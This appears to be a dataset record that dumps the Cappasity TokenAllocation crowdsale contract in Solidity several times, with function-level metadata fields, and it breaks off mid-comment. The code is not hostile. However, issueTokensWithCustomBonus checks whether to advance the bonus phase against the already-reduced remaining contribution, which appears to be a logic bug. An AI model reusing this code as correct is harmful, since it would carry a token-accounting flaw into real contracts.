enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | issueTokens | function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
| /**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
3956,
6103
]
} | 4,271 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | issueTokensWithCustomBonus | function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
| /**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
6601,
8748
]
} | 4,272 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
